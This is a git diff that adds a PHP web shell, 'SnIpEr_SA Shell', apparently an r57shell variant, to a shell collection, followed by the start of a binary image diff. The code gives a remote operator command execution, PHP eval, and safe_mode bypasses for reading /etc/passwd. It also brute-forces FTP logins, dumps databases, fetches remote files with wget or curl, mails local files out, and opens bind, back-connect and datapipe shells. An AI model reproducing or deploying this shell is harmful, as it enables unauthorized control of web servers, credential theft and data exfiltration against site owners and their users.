htmlspecialchars($line)."\r\n"; } + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo $str; + @imap_close($stream); + break; + case 'test8': + if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118']; + else echo $lang[$language.'_text119']; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function div_title($title, $id) +{ + return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; +} +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text302'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&$unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=tahoma size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&$unix){ +echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ SnIpEr_SA Shell | <a href=http://3asfh.net>http://3asfh.net</a> | <a SnIpEr.SA@hotmail.com>sniper.sa@hotmail.com</a> | ]---o</b></font></div></td></tr></table>".$f; + + +$u1p=""; // File to Include... or use _GET _POST +$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp + + + +echo "<PRE>\n"; +if(empty($snn)){ +if(empty($_GET['snn'])){ +if(empty($_POST['snn'])){ +die("\nSnIpEr_SA"); +} else { +$u1p=$_POST['snn']; +} +} else { +$u1p=$_GET['snn']; +} +} + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$snn, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); + +} else { +die("<FONT COLOR=\"RED\"><CENTER> +<B>".htmlspecialchars($u1p)."</B> ! .</CENTER></FONT>"); +} + +?> \ No newline at end of file diff --git a/php/PHPshell/c99/c99.jpg b/php/PHPshell/c99/c99.jpg new file mode 100644 index 0000000000000000000000000000000000000000..91ca406c6170ebd6a42c008a80e9ca75a3e9f110 GIT binary patch literal 75656 zcmeFZWmufe)+X8n_dtSc&;)na5Zv7Z1PJa90fKvD0TML0yEN{B;BMV`BZ0<Uo8kSw zbIsZNJ7>Q$d;ZN_^Ym5yr>pC#yVhFwTD5A`^R)Q14tS{`BQFC$KtKSPK7RmD5P%c_ z4Fv@i1sM$$6%`#F4Fl^nHWnr(776|<+}9MORFo8?<mA+JY>d=2EVSh0Z~5P`aB%YQ z@K7-diVARvuyONn{WS;zIyyQQCKfR^HZj*5@;6-n_Vd&Yz(afS0`UP6fd=pb4*?Mm z;i(@$1ppu*KhO5B3I9J2!V5$sWE501bPUYr4vjAXFAxwBUmzhOBO@U__x6AO9e{*~ zjQ@sH66KY;87hs-Yp$TgTr}GEwLJtHQzvxXpIn2{F$jr>Nl57#7~j5Q;^F1v7Z4PZ z`XDVMD<`j@sim!>tEX>ZZejV^%G$=(&E3P(%iG5{Bs45MA~GsEDfwGUYTEZ7>3R7D zg+;|BrDb*X4UJ8p=9bppzW!eWgTIG{r)Os8<`)*1z#E&;t?ixNKYRP9XXh7}SJyYU zcYonR03iM+tpASezu>}q#`OXT2@whPFI)&Oyq+5(9uo2!P857ebyPE#S2SEfXs_QV z=GOM0({gK^5PWi-!XTvM*`PoD3)+7m`=0|A{J(_kzXSV!ae)C?hzQTZL&O7!1I`KV z^Y;|xy4?NWS(^q&zy0~*-)*gH;gfW$JWZcTIA!UgMSBy(vs|?ozlhhS8$upsz*l+< zH6R-#wY;?NFTIh25EH~hFN<2E%Kvz!22f33j)=a%RwBtaMEPO1s_R$#evmq3Akd)J 